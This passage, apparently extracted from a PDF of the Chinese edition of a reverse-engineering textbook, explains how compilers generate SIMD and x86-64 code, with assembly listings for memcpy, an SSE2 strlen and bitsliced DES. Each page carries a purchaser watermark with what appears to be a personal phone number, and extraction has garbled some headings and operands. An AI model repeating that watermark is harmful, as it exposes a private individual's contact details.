eax, eax pop ebx pop esi pop edi pop ebp retn align8 loc_80484E8: ; CODE XREF: f(int,int *,int *,int *)+1F test bl, 0Fh jnz short loc_80484C1 lea edx, [esi+10h] cmp ebx, edx jbe loc_8048578 loc_80484F8: ; CODE XREF: f(int,int *,int *,int *)+E0 lea edx, [edi+10h] cmp ebx, edx ja short loc_8048503 cmp edi, eax jbe short loc_80484C1 loc_8048503: ; CODE XREF: f(int,int *,int *,int *)+5D mov eax, ecx shr eax, 2 mov [ebp+var_14], eax shl eax, 2 test eax, eax mov [ebp+var_10], eax jz short loc_8048547 mov [ebp+var_18], ecx mov ecx, [ebp+var_14] xor eax, eax 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 25 章 SIMD 379 xor edx, edx nop loc_8048520: ; CODE XREF: f(int,int *,int *,int *)+9B movdqu xmm1, xmmword ptr [edi+eax] movdqu xmm0, xmmword ptr [esi+eax] add edx, 1 paddd xmm0, xmm1 movdqa xmmword ptr [ebx+eax], xmm0 add eax, 10h cmp edx, ecx jb short loc_8048520 mov ecx, [ebp+var_18] mov eax, [ebp+var_10] cmp ecx, eax jz short loc_80484D8 loc_8048547: ; CODE XREF: f(int,int *,int *,int *)+73 lea edx, ds:0[eax*4] add esi, edx add edi, edx add ebx, edx lea esi, [esi+0] loc_8048558: ; CODE XREF: f(int,int *,int *,int *)+CC mov edx, [edi] add eax, 1 add edi, 4 add edx, [esi] add esi, 4 mov [ebx], edx add ebx, 4 cmp ecx, eax jg short loc_8048558 add esp, 0Ch xor eax, eax pop ebx pop esi pop edi pop ebp retn loc_8048578: ; CODE XREF: f(int,int *,int *,int *)+52 cmp eax, esi jnb loc_80484C1 jmp loc_80484F8 _Z1fiPiS_S_ endp GCC 生成的代码和 Intel C++十分相似,只是严谨性略差。 25.1.2 用于内存复制 我们回顾一下本书 14.2 节的 memcpy()函数: #include <stdio.h> void my_memcpy (unsigned char* dst, unsigned char* src, size_t cnt) { size_t i; for (i=0; i<cnt; i++) dst[i]=src[i]; }; 用 GCC 4.9.1 进行优化编译,可得到如下所示的代码。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 380 逆向工程权威指南(上册) 指令清单 25.1 Optimizing GCC 4.9.1 x64 my_memcpy: ; RDI = destination address ; RSI = source address ; RDX = size of block test rdx, rdx je .L41 lea rax, [rdi+16] cmp rsi, rax lea rax, [rsi+16] setae cl cmp rdi, rax setae al or cl, al je .L13 cmp rdx, 22 jbe .L13 mov rcx, rsi push rbp push rbx neg rcx and ecx, 15 cmp rcx, rdx cmova rcx, rdx xor eax, eax test rcx, rcx je .L4 movzx eax, BYTE PTR [rsi] cmp rcx, 1 mov BYTE PTR [rdi], al je .L15 movzx eax, BYTE PTR [rsi+1] cmp rcx, 2 mov BYTE PTR [rdi+1], al je .L16 movzx eax, BYTE PTR [rsi+2] cmp rcx, 3 mov BYTE PTR [rdi+2], al je .L17 movzx eax, BYTE PTR [rsi+3] cmp rcx, 4 mov BYTE PTR [rdi+3], al je .L18 movzx eax, BYTE PTR [rsi+4] cmp rcx, 5 mov BYTE PTR [rdi+4], al je .L19 movzx eax, BYTE PTR [rsi+5] cmp rcx, 6 mov BYTE PTR [rdi+5], al je .L20 movzx eax, BYTE PTR [rsi+6] cmp rcx, 7 mov BYTE PTR [rdi+6], al je .L21 movzx eax, BYTE PTR [rsi7+] cmp rcx, 8 mov BYTE PTR [rdi+7], al je .L22 movzx eax, BYTE PTR [rsi+8] cmp rcx, 9 mov BYTE PTR [rdi+8], al je .L23 movzx eax, BYTE PTR [rsi+9] cmp rcx, 10 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 25 章 SIMD 381 mov BYTE PTR [rdi+9], al je .L24 movzx eax, BYTE PTR [rsi+10] cmp rcx, 11 mov BYTE PTR [rdi+10], al je .L25 movzx eax, BYTE PTR [rsi+11] cmp rcx, 12 mov BYTE PTR [rdi+11], al je .L26 movzx eax, BYTE PTR [rsi+12] cmp rcx, 13 mov BYTE PTR [rdi+12], al je .L27 movzx eax, BYTE PTR [rsi+13] cmp rcx, 15 mov BYTE PTR [rdi+13], al jne .L28 movzx eax, BYTE PTR [rsi+14] mov BYTE PTR [rdi+14], al mov eax, 15 .L4: mov r10, rdx lea r9, [rdx-1] sub r10, rcx lea r8, [r10-16] sub r9, rcx shr r8, 4 add r8, 1 mov r11, r8 sal r11, 4 cmp r9,14 jbe .L6 lea rbp, [rsi+rcx] xor r9d, r9d add rcx, rdi xor ebx, ebx .L7: movdqa xmm0, XMMWORD PTR [rbp+0+r9] add rbx, 1 movups XMMWORD PTR [rcx+r9], xmm0 add r9, 16 cmp rbx, r8 jb .L7 add rax, r11 cmp r10, r11 je .L1 .L6: movzx ecx, BYTE PTR [rsi+rax] mov BYTE PTR [rdi+rax], cl lea rcx, [rax+1] cmp rdx, rcx jbe .L1 movzx ecx, BYTE PTR [rsi+1+rax] mov BYTE PTR [rdi+1+rax], cl lea rcx, [rax+2] cmp rdx, rcx jbe .L1 movzx ecx, BYTE PTR [rsi+2+rax] mov BYTE PTR [rdi+2+rax], cl lea rcx, [rax+3] cmp rdx, rcx jbe .L1 movzx ecx, BYTE PTR [rsi+3+rax] mov BYTE PTR [rdi+3+rax], cl lea rcx, [rax+4] cmp rdx, rcx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 382 逆向工程权威指南(上册) jbe .L1 movzx ecx, BYTE PTR [rsi+4+rax] mov BYTE PTR [rdi+4+rax], cl lea rcx, [rax+5] cmp rdx, rcx jbe .L1 movzx ecx, BYTE PTR [rsi+5+rax] mov BYTE PTR [rdi+5+rax], cl lea rcx, [rax+6] cmp rdx, rcx jbe .L1 movzx ecx, BYTE PTR [rsi+6+rax] mov BYTE PTR [rdi+6+rax], cl lea rcx, [rax+7] cmp rdx, rcx jbe .L1 movzx ecx, BYTE PTR [rsi+7+rax] mov BYTE PTR [rdi+7+rax], cl lea rcx, [rax+8] cmp rdx, rcx jbe .L1 movzx ecx, BYTE PTR [rsi+8+rax] mov BYTE PTR [rdi+8+rax], cl lea rcx, [rax+9] cmp rdx, rcx jbe .L1 movzx ecx, BYTE PTR [rsi+9+rax] mov BYTE PTR [rdi+9+rax], cl lea rcx, [rax+10] cmp rdx, rcx jbe .L1 movzx ecx, BYTE PTR [rsi+10+rax] mov BYTE PTR [rdi+10+rax], cl lea rcx, [rax+11] cmp rdx, rcx jbe .L1 movzx ecx, BYTE PTR [rsi+11+rax] mov BYTE PTR [rdi+11+rax], cl lea rcx, [rax+12] cmp rdx, rcx jbe .L1 movzx ecx, BYTE PTR [rsi+12+rax] mov BYTE PTR [rdi+12+rax], cl lea rcx, [rax+13] cmp rdx, rcx jbe .L1 movzx ecx, BYTE PTR [rsi+13+rax] mov BYTE PTR [rdi+13+rax], cl lea rcx, [rax+14] cmp rdx, rcx jbe .L1 movzx edx, BYTE PTR [rsi+14+rax] mov BYTE PTR [rdi+14+rax], dl .L1: pop rbx pop rbp .L41: rep ret .L13: xor eax, eax .L3: movzx ecx, BYTE PTR [rsi+rax] mov BYTE PTR [rdi+rax], cl add rax, 1 cmp rax, rdx jne .L3 rep ret 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 25 章 SIMD 383 .L28: mov eax, 14 jmp .L4 .L15: mov eax, 1 jmp .L4 .L16: mov eax, 2 jmp .L4 .L17: mov eax, 3 jmp .L4 .L18: mov eax, 4 jmp .L4 .L19: mov eax, 5 jmp .L4 .L20: mov eax, 6 jmp .L4 .L21: mov eax, 7 jmp .L4 .L22: mov eax, 8 jmp .L4 .L23: mov eax, 9 jmp .L4 .L24: mov eax, 10 jmp .L4 .L25: mov eax, 11 jmp .L4 .L26: mov eax, 12 jmp .L4 .L27: mov eax, 13 jmp .L4 25.2 SIMD 实现 strlen() 根据 msdn(http://msdn.microsoft.com/en-us/library/y0dh78ez(VS.80).aspx),在 C/C++源程序中插入特定 的宏即可调用 SIMD 指令。在 MSVC 编译器的库文件之中,intrin.h 文件就使用了这种宏。 我们可以把字符串进行分组处理,使用SIMD指令实现strlen()函数。这种算法比常规实现算法快 2~2.5 倍。它每次把 16 个字符加载到 1 个XMM寄存器里,然后检测字符串的结束标志—数值为零的结束符。 ① ① 这种算法借鉴了网上的资料 http://www.strchr.com/sse2_optimised_strlen。 size_t strlen_sse2(const char *str) { register size_t len = 0; const char *s=str; bool str_is_aligned=(((unsigned int)str)&0xFFFFFFF0) == (unsigned int)str; if (str_is_aligned==false) return strlen (str); __m128i xmm0 = _mm_setzero_si128(); 异步社区会员 dearfuture(15918834820) 专享 尊重版权 384 逆向工程权威指南(上册) __m128i xmm1; int mask = 0; for (;;) { xmm1 = _mm_load_si128((__m128i *)s); xmm1 = _mm_cmpeq_epi8(xmm1, xmm0); if ((mask = _mm_movemask_epi8(xmm1)) != 0) { unsigned long pos; _BitScanForward(&pos, mask); len += (size_t)pos; break; } s += sizeof(__m128i); len += sizeof(__m128i); }; return len; } 使用 MSVC 2010(启用/Ox 选项)编译上述程序,可得到如下所示的代码。 指令清单 25.2 Optimizing MSVC 2010 _pos$75552 = -4 ; size = 4 _str$ = 8 ; size = 4 ?strlen_sse2@@YAIPBD@Z PROC ; strlen_sse2 pushebp mov ebp, esp and esp, -16 ; fffffff0H mov eax, DWORD PTR _str$[ebp] sub esp, 12 ; 0000000cH push esi mov esi, eax and esi, -16 ; fffffff0H xor edx, edx mov ecx, eax cmp esi, eax je SHORT $LN4@strlen_sse lea edx, DWORD PTR [eax+1] npad 3 ; align next label $LL11@strlen_sse: mov cl, BYTE PTR [eax] inc eax test cl, cl jne SHORT $LL11@strlen_sse sub eax, edx pop esi mov esp, ebp pop ebp ret 0 $LN4@strlen_sse: movdqa xmm1, XMMWORD PTR [eax] pxor xmm0, xmm0 pcmpeqb xmm1, xmm0 pmovmskb eax, xmm1 test eax, eax jne SHORT $LN9@strlen_sse $LL3@strlen_sse: movdqa xmm1, XMMWORD PTR [ecx+16] add ecx, 16 ; 00000010H pcmpeqb xmm1, xmm0 add edx, 16 ; 00000010H 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 25 章 SIMD 385 pmovmskb eax, xmm1 test eax, eax je SHORT $LL3@strlen_sse $LN9@strlen_sse: bsf eax, eax mov ecx, eax mov DWORD PTR _pos$75552[esp+16], eax lea eax, DWORD PTR [ecx+edx] pop esi mov esp, ebp pop ebp ret 0 ?strlen_sse2@@YAIPBD@Z ENDP ; strlen_sse2 程序首先检查 str 指针是否已经向 16 字节边界对齐。如果这个地址没有对齐,就调用常规的 strlen()函 数计算字符串长度。 然后通过 MOVDQA 指令把 16 字节数据加载到 XMM1 寄存器。 部分读者可能会问:为什么不直接使用不要求指针对齐的 MOVDQU 指令? 这种说法似乎有道理:如果指针已经向 16 字节边界对齐了,我们可以使用 MOVDQA 指令;否则,就 使用速度慢些的 MOVDQU 指令。 但是本文意在强调: 在 Windows NT 系列操作系统,以及其他一些操作系统里,内存的最小分页单位是 4KB(4096 字节)。 虽然每个 win32 程序表面上都有(虚拟)独立的 4GB 内存可以使用,但是实际上部分地址空间受到物理内 存和分页方法的限制。如果程序试图访问不存在的内存块,将会引发错误。这是虚拟内存的工作方式决定 的,详情请参见 http://en.wikipedia.org/wiki/Page_(computer_memory)。 所以,如果函数一次加载 16 字节数据,可能会跨越虚拟内存的内存块边界。例如说,操作系统可能在 地址为 0x00c0000 的物理内存处给这个程序分配了 8192(0x2000)字节的内存块。那么这个程序的内存就 在 0x008c0000 与 0x008c1fff 之间。 在这个内存块之后,即位于 0x008c2000 地址以后的物理内存都不可被程序访问。换而言之,操作系统 没有给这个程序分配那块内存。如果程序访问这块不可用的内存地址就将引发错误。 我们再来研究一下这个程序。程序可能在内存块的末端存储 5 个字符。这种分配方法是合情合理的。 0x008c1ff8 ’h’ 0x008c1ff9 ’e’ 0x008c1ffa ’l’ 0x008c1ffb ’l’ 0x008c1ffc ’o’ 0x008c1ffd ’\x00’ 0x008c1ffe random noise 0x008c1fff random noise 当采用常规算法的 strlen()函数在处理这个字符串时,首先把指针指向“hello”的第一个字节,即地址 0x008c1ff8。strlen()函数会逐字节地读取字符串。在遇到 0x008c1ffd 的 0 字节的时候,函数就结束了。 假如我们编写的 strlen()函数不考虑字符串的地址对齐问题,无论字符串指针地址是否已经向 16 字节 边界对齐,每次都读取 16 字节。那么它就可能要从 0x008c1ff8 一直读取到 0x008c2008,这将引发错误。 当然,我们应当尽力避免这种错误。 所以仅在字符串地址向 16 字节边界对齐的情况下,才可以使用基于 SIMD 技术的算法。另外,操作系 统在进行内存分页时也是向 16 字节边界对齐的,所以在字符串首地址同样向 16 字节边界对齐时,我们的 函数不会访问未分配的内存空间。 下面继续介绍我们的函数。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 386 逆向工程权威指南(上册) _mm_setzero_si128():清空 XMM0 寄存器的指令,相当于 pxor xmm0, xmm0。 _mm_load_si128():MOVDQA 的宏。它从指定地址里加载 16 字节数据到 XMM1 寄存器。 _mm_cmpeq_epi8():PCMPEQB 的宏。它以字节为单位,比较两个 XMM 专用寄存器的值。如果某个字节 相等,该字节返回值为 0xff,否则返回值为 0。举例来说,运行 pcmpeqdb xmm1, xmm0 指令的情况如下表所示。 运行前 XMM1 11223344556677880000000000000000 运行前 XMM0 11ab3444007877881111111111111111 运行后 XMM1 ff0000ff0000ffff0000000000000000 本例先用“pxor xmm0, xmm0”将 xmm0 寄存器清零,然后把从字符串摘取出的 16 字节与 XMM0 寄 存器的 16 个 0 相比较。 下一条指令是_mm_movemask_epi8(),即 PMOVVMSKB 指令。这个指令通常与 PCMPEQB 配合使用: pmovmskb eax, xmm1 在 XMM1 的第一个字节的最高位是 1 的情况下,设置 EAX 寄存器的最高位为 1。也就是说,如果 XMM1 寄存器的值是 0xff,那么 EAX 寄存器的最高位还会被赋值为 1。 它还会在 XMM1 的第二个字节是 0xff 的情况下,设置 EAX 寄存器的次高位为 1。 总而言之,这个指令此处的作用是“判断 XMM1 的每个字节是否是 0xFF”。如果 XMM1 的第 n 个字 节是 0xFF,则设置 EAX 的第 n 位为 1,否则 EAX 的第 n 位为 0。 另外,不要忘记我们的算法可能会遇到的实际问题:指针指向的字符串可能包含有效值、结束符和脏 数据。例如: 15 14 13 12 11 10 9~3 2 1~0 “h” “e” “l” “l” “o” 0 脏数据 0 脏数据 一次读取 16 字节到 XMM 寄存器,并将它与 XMM0 里的零进行比较,可能会得到这样的计算结果(从 左到右是 LSB 到 MSB 的顺序): XMM1: 0000ff00000000000000ff0000000000 也就是说它找到了 2 个以上的零。这是情理之中的结果。 在这种情况下 PMOVMSKB 指令将设置 EAX 为(二进制):0010000000100000b。 很明显,我们的函数必须以第一个结束符为准,忽略掉脏数据里的结束符。 下一条 BSF(Bit Scan Forward)指令将保留操作符二进制值里的第一个 1,将其余位清零,并把结果 存储到第一个操作符里。 在 EAX=0010000000100000b 的情况下,执行“bsf eax, eax”,那么 EAX 将将保留第 5 位的 1(从 0 开 始数)。 MSVC 里这条指令对应的宏是_BitScanForward。 代码的其他部分就容易理解了。如果找到了 0 字节,就把它的位置编号累加到计数器里,从而获取字 符串长度。 应当注意到 MSVC 编译器优化掉了循环体的部分结构。 Intel Core I7 处理器推出了 SSE 4.2。它提供的新的指令大大简化了字符串的处理。有兴趣的读者可参 见:http://www.strchr.com/strcmp_and_strlen_using_sse_4.2。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 2266 章 章 6644 位 位平 平台 台 26.1 x86-64 x86-64 框架是一种兼容 x86 指令集的 64 位微处理器架构。 从逆向工程的角度来说,这种框架的主要区别在于:  除了位于 FPU 和 SIMD 的寄存器之外,几乎所有的寄存器都变为 64 位寄存器。所有指令都可以 通过 R-字头的助记符(寄存器名称)调用 64 位寄存器。而且 x86-64 框架的 CPU 要比 x86 框架 的 CPU 多出 8 个通用寄存器。这些通用寄存器分别是:RAX、RBX、RCX、RDX、RBP、RSP、 RSI、RDI、R8、R9、R10、R11、R12、R13、R14、R15。  它向下兼容,允许程序使用 GPR 的 32 位寄存器的助记符、操作该寄存器的低 32 位数据。例如说, 程序可以通过助记符 EAX 访问 RAX 寄存器的低 32 位。 7th (字节号) 6th 5th 4th 3rd 2nd 1st 0th RAXx64 EAX AX AH AL 64 位寄存器特有的 R8~R15 寄存器不仅有相应的(低)32 位助记符,即 R8D~R15D(低 32 位),而 且还有相应的(低)16 位助记符 R8W~R15W。 7th (字节号) 6th 5th 4th 3rd 2nd 1st 0th R8 R8D R8W R8L x86-64 框架的 CPU 有 16 个 SIMD 寄存器,即 XMM0~XMM15。它的 SIMD 寄存器比 x86 CPU 多出一倍。  Win64 系统的函数调用约定发生了相应的变化,采取了与 fastcall 规范(请参见本书 64.3 节)相似 的参数传递规范。这类程序使用 RCX、RDX、R8、R9 寄存器传递函数所需的前 4 个参数,并用栈 传递其余参数。为了保证被调用方函数能够使用前 4 个参数所占的寄存器,调用方函数会单独分配 出来 32 字节的栈空间,以便被调用方函数保存 4 个参数寄存器的原始状态。虽然小型函数可能不 会用到多少寄存器,但是大型函数可能就要把传入的参数保存到栈里,以尽量充分使用寄存器资源。 System V AMD64 ABI(泛指 Linux、各种 BSD 和 Mac OS X)(参见 Mit13)系统的函数调用约定也与 fastcall 规范相似。它使用 RDI、RSI、RDX、RCX、R8、R9 这 6 个寄存器传递前 6 个参数,再使用栈来传 递其余参数。 本书的第 64 章详细介绍了各种调用约定。  在 C/C++语言里,x86-64 平台的 int 型数据仍然是 32 位数据。  x86-64 平台的指针都是 64 位指针。 不过实际情况并非那么理想,x64 CPU 在外部 RAM 的寻址能力只有 48 位。但是存储指针、包括缓存 异步社区会员 dearfuture(15918834820) 专享 尊重版权 388 逆向工程权威指南(上册) 区的开销却高出 x86 一倍。 因为 64 位平台的寄存器数量是 32 位平台的两倍,编译器在调动资源方面的底气也更足一些,所以它 们的寄存器分配方案(register allocation)当然会不同。这就是说,64 位应用程序中的局部变量(栈空间) 会更少一些。 第 25 章介绍过一个用 bitslice DES 算法实现并行计算的源程序。我们对其稍加修改,让程序根据 DE_type 数据类型(uint32、uint64、SSE2 或 AVX)处理 32/64/128/256 位数据的 S-Box。 /* * Generated S-box files. * * This software may be modified, redistributed, and used for any purpose, * so long as its origin is acknowledged. * * Produced by Matthew Kwan - March 1998 */ #ifdef _WIN64 #define DES_type unsigned __int64 #else #define DES_type unsigned int #endif void s1 ( DES_type a1, DES_type a2, DES_type a3, DES_type a4, DES_type a5, DES_type a6, DES_type *out1, DES_type *out2, DES_type *out3, DES_type *out4 ){ DES_type x1, x2, x3, x4, x5, x6, x7, x8; DES_type x9, x10, x11, x12, x13, x14, x15, x16; DES_type x17, x18, x19, x20, x21, x22, x23, x24; DES_type x25, x26, x27, x28, x29, x30, x31, x32; DES_type x33, x34, x35, x36, x37, x38, x39, x40; DES_type x41, x42, x43, x44, x45, x46, x47, x48; DES_type x49, x50, x51, x52, x53, x54, x55, x56; x1 = a3 & ~a5; x2 = x1 ^ a4; x3 = a3 & ~a4; x4 = x3 | a5; x5 = a6 & x4; x6 = x2 ^ x5; x7 = a4 & ~a5; x8 = a3 ^ a4; x9 = a6 & ~x8; x10 = x7 ^ x9; x11 = a2 | x10; x12 = x6 ^ x11; x13 = a5 ^ x5; x14 = x13 & x8; x15 = a5 & ~a4; x16 = x3 ^ x14; x17 = a6 | x16; x18 = x15 ^ x17; x19 = a2 | x18; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 26 章 64 位平台 389 x20 = x14 ^ x19; x21 = a1 & x20; x22 = x12 ^ ~x21; *out2 ^= x22; x23 = x1 | x5; x24 = x23 ^ x8; x25 = x18 & ~x2; x26 = a2 & ~x25; x27 = x24 ^ x26; x28 = x6 | x7; x29 = x28 ^ x25; x30 = x9 ^ x24; x31 = x18 & ~x30; x32 = a2 & x31; x33 = x29 ^ x32; x34 = a1 & x33; x35 = x27 ^ x34; *out4 ^= x35; x36 = a3 & x28; x37 = x18 & ~x36; x38 = a2 | x3; x39 = x37 ^ x38; x40 = a3 | x31; x41 = x24 & ~x37; x42 = x41 | x3; x43 = x42 & ~a2; x44 = x40 ^ x43; x45 = a1 & ~x44; x46 = x39 ^ ~x45; *out1 ^= x46; x47 = x33 & ~x9; x48 = x47 ^ x39; x49 = x4 ^ x36; x50 = x49 & ~x5; x51 = x42 | x18; x52 = x51 ^ a5; x53 = a2 & ~x52; x54 = x50 ^ x53; x55 = a1 | x54; x56 = x48 ^ ~x55; *out3 ^= x56; } 这个源程序里有很多局部变量。当然并非所有的局部变量都要存储到栈里。我们使用 32 位的 MSVC 2008(启用/Ox 选项)编译它,可得到如下所示的代码。 指令清单 26.1 Optimizing MSVC 2008 PUBLIC _s1 ; Function compile flags: /Ogtpy _TEXT SEGMENT _x6$ = -20 ; size = 4 _x3$ = -16 ; size = 4 _x1$ = -12 ; size = 4 _x8$ = -8 ; size = 4 _x4$ = -4 ; size = 4 _a1$ = 8 ; size = 4 _a2$ = 12 ; size = 4 _a3$ = 16 ; size = 4 _x33$ = 20 ; size = 4 _x7$ = 20 ; size = 4 _a4$ = 20 ; size = 4 _a5$ = 24 ; size = 4 tv326 = 28 ; size = 4 _x36$ = 28 ; size = 4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 390 逆向工程权威指南(上册) _x28$ = 28 ; size = 4 _a6$ = 28 ; size = 4 _out1$ = 32 ; size = 4 _x24$ = 36 ; size = 4 _out2$ = 36 ; size = 4 _out3$ = 40 ; size = 4 _out4$ = 44 ; size = 4 _s1 PROC sub esp, 20 ; 00000014H mov edx, DWORD PTR _a5$[esp+16] push ebx mov ebx, DWORD PTR _a4$[esp+20] push ebp push esi mov esi, DWORD PTR _a3$[esp+28] push edi mov edi, ebx not edi mov ebp, edi and edi, DWORD PTR _a5$[esp+32] mov ecx, edx not ecx and ebp, esi mov eax, ecx and eax, esi and ecx, ebx mov DWORD PTR _x1$[esp+36], eax xor eax, ebx mov esi, ebp or esi, edx mov DWORD PTR _x4$[esp+36], esi and esi, DWORD PTR _a6$[esp+32] mov DWORD PTR _x7$[esp+32], ecx mov edx, esi xor edx, eax mov DWORD PTR _x6$[esp+36], edx mov edx, DWORD PTR _a3$[esp+32] xor edx, ebx mov ebx, esi xor ebx, DWORD PTR _a5$[esp+32] mov DWORD PTR _x8$[esp+36], edx and ebx, edx mov ecx, edx mov edx, ebx xor edx, ebp or edx, DWORD PTR _a6$[esp+32] not ecx and ecx, DWORD PTR _a6$[esp+32] xor edx, edi mov edi, edx or edi, DWORD PTR _a2$[esp+32] mov DWORD PTR _x3$[esp+36], ebp mov ebp, DWORD PTR _a2$[esp+32] xor edi, ebx and edi, DWORD PTR _a1$[esp+32] mov ebx, ecx xor ebx, DWORD PTR _x7$[esp+32] not edi or ebx, ebp xor edi, ebx mov ebx, edi mov edi, DWORD PTR _out2$[esp+32] xor ebx, DWORD PTR [edi] not eax xor ebx, DWORD PTR _x6$[esp+36] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 26 章 64 位平台 391 and eax, edx mov DWORD PTR [edi], ebx mov ebx, DWORD PTR _x7$[esp+32] or ebx, DWORD PTR _x6$[esp+36] mov edi, esi or edi, DWORD PTR _x1$[esp+36] mov DWORD PTR _x28$[esp+32], ebx xor edi, DWORD PTR _x8$[esp+36] mov DWORD PTR _x24$[esp+32], edi xor edi, ecx not edi and edi, edx mov ebx, edi and ebx, ebp xor ebx, DWORD PTR _x28$[esp+32] xor ebx, eax not eax mov DWORD PTR _x33$[esp+32], ebx and ebx, DWORD PTR _a1$[esp+32] and eax, ebp xor eax, ebx mov ebx, DWORD PTR _out4$[esp+32] xor eax, DWORD PTR [ebx] xor eax, DWORD PTR _x24$[esp+32] mov DWORD PTR [ebx], eax mov eax, DWORD PTR _x28$[esp+32] and eax, DWORD PTR _a3$[esp+32] mov ebx, DWORD PTR _x3$[esp+36] or edi, DWORD PTR _a3$[esp+32] mov DWORD PTR _x36$[esp+32], eax not eax and eax, edx or ebx, ebp xor ebx, eax not eax and eax, DWORD PTR _x24$[esp+32] not ebp or eax, DWORD PTR _x3$[esp+36] not esi and ebp, eax or eax, edx xor eax, DWORD PTR _a5$[esp+32] mov edx, DWORD PTR _x36$[esp+32] xor edx, DWORD PTR _x4$[esp+36] xor ebp, edi mov edi, DWORD PTR _out1$[esp+32] not eax and eax, DWORD PTR _a2$[esp+32] not ebp and ebp, DWORD PTR _a1$[esp+32] and edx, esi xor eax, edx or eax, DWORD PTR _a1$[esp+32] not ebp xor ebp, DWORD PTR [edi] not ecx and ecx, DWORD PTR _x33$[esp+32] xor ebp, ebx not eax mov DWORD PTR [edi], ebp xor eax, ecx mov ecx, DWORD PTR _out3$[esp+32] xor eax, DWORD PTR [ecx] pop edi pop esi 异步社区会员 dearfuture(15918834820) 专享 尊重版权 392 逆向工程权威指南(上册) xor eax, ebx pop ebp mov DWORD PTR [ecx], eax pop ebx add esp, 20 ; 00000014H ret 0 _s1 ENDP 编译器只在栈里存储了 5 个变量。 作为对比,我们再使用 64 位的 MSVC 2008 编译它,得到的代码如下所示。 指令清单 26.2 Optimizing MSVC 2008 a1$ = 56 a2$ = 64 a3$ = 72 a4$ = 80 x36$1$ = 88 a5$ = 88 a6$ = 96 out1$ = 104 out2$ = 112 out3$ = 120 out4$ = 128 s1 PROC $LN3: mov QWORD PTR [rsp+24], rbx mov QWORD PTR [rsp+32], rbp mov QWORD PTR [rsp+16], rdx mov QWORD PTR [rsp+8], rcx push rsi push rdi push r12 push r13 push r14 push r15 mov r15, QWORD PTR a5$[rsp] mov rcx, QWORD PTR a6$[rsp] mov rbp, r8 mov r10, r9 mov rax, r15 mov rdx, rbp not rax xor rdx, r9 not r10 mov r11, rax and rax, r9 mov rsi, r10 mov QWORD PTR x36$1$[rsp], rax and r11, r8 and rsi, r8 and r10, r15 mov r13, rdx mov rbx, r11 xor rbx, r9 mov r9, QWORD PTR a2$[rsp] mov r12, rsi or r12, r15 not r13 and r13, rcx mov r14, r12 and r14, rcx mov rax, r14 mov r8, r14 xor r8, rbx xor rax, r15 not rbx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 26 章 64 位平台 393 and rax, rdx mov rdi, rax xor rdi, rsi or rdi, rcx xor rdi, r10 and rbx, rdi mov rcx, rdi or rcx, r9 xor rcx, rax mov rax, r13 xor rax, QWORD PTR x36$1$[rsp] and rcx, QWORD PTR a1$[rsp] or rax, r9 not rcx xor rcx, rax mov rax, QWORD PTR out2$[rsp] xor rcx, QWORD PTR [rax] xor rcx, r8 mov QWORD PTR [rax], rcx mov rax, QWORD PTR x36$1$[rsp] mov rcx, r14 or rax, r8 or rcx, r11 mov r11, r9 xor rcx, rdx mov QWORD PTR x36$1$[rsp], rax mov r8, rsi mov rdx, rcx xor rdx, r13 not rdx and rdx, rdi mov r10, rdx and r10, r9 xor r10, rax xor r10, rbx not rbx and rbx, r9 mov rax, r10 and rax, QWORD PTR a1$[rsp] xor rbx, rax mov rax, QWORD PTR out4$[rsp] xor rbx, QWORD PTR [rax] xor rbx, rcx mov QWORD PTR [rax], rbx mov rbx, QWORD PTR x36$1$[rsp] and rbx, rbp mov r9, rbx not r9 and r9, rdi or r8, r11 mov rax, QWORD PTR out1$[rsp] xor r8, r9 not r9 and r9, rcx or rdx, rbp mov rbp, QWORD PTR [rsp+80] or r9, rsi xor rbx, r12 mov rcx, r11 not rcx not r14 not r13 and rcx, r9 or r9, rdi and rbx, r14 xor r9, r15 xor rcx, rdx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 394 逆向工程权威指南(上册) mov rdx, QWORD PTR a1$[rsp] not r9 not rcx and r13, r10 and r9, r11 and rcx, rdx xor r9, rbx mov rbx, QWORD PTR [rsp+72] not rcx xor rcx, QWORD PTR [rax] or r9, rdx not r9 xor rcx, r8 mov QWORD PTR [rax], rcx mov rax, QWORD PTR out3$[rsp] xor r9, r13 xor r9, QWORD PTR [rax] xor r9, r8 mov QWORD PTR [rax], r9 pop r15 pop r14 pop r13 pop r12 pop rdi pop rsi ret 0 s1 ENDP 编译器根本没有使用栈。上述代码中的 x36 就是 a5。 顺便说一下,x86-64 CPU 的 GPR 还算不上是最多的。例如,Itanium/安腾处理器就有 128 个 GPR。 26.2 ARM 自 ARM v8 开始,ARM 处理器支持 64 位指令。 26.3 浮点数 有关 64 位平台的浮点数运算,请参见本书第 27 章。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 2277 章 章 SSIIM MDD 与 与浮 浮点 点数 数的 的并 并行 行运 运算 算 在 SIMD 功能问世之前,x86 兼容的处理器早就集成了 FPU。自 SSE2 开始,SIMD 拓展指令集提供了 单指令多数据浮点计算的指令。这类指令支持的数据格式同样是 IEEE 754。 随着硬件的发展,最近推出的 x86/x86-64 编译器越来越多地使用 SIMD 指令,都不再怎么分配 FPU 指令了。 这不得不说是一种好消息。毕竟 SIMD 的指令更为简单。 本章将基于第 17 章的源程序进行讲解。 27.1 样板程序 #include <stdio.h> double f (double a, double b) { return a/3.14 + b*4.1; }; int main() { printf ("%f\n", f(1.2, 3.4)); }; 27.1.1 x64 指令清单 27.1 Optimizing MSVC 2012 x64 __real@4010666666666666 DQ 04010666666666666r ; 4.1 __real@40091eb851eb851f DQ 040091eb851eb851fr ; 3.14 a$ = 8 b$ = 16 f PROC divsd xmm0, QWORD PTR __real@40091eb851eb851f mulsd xmm1, QWORD PTR __real@4010666666666666 addsd xmm0, xmm1 ret 0 f ENDP 程序使用 XMM0~XMM3 传递参数中的前几个浮点数,其余参数都通过栈传递。有关浮点数的参数传 递规范,请参见 MSDN:https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx。 变量 a 存储在 XMM0 寄存器里,变量 b 存储在 XMM1 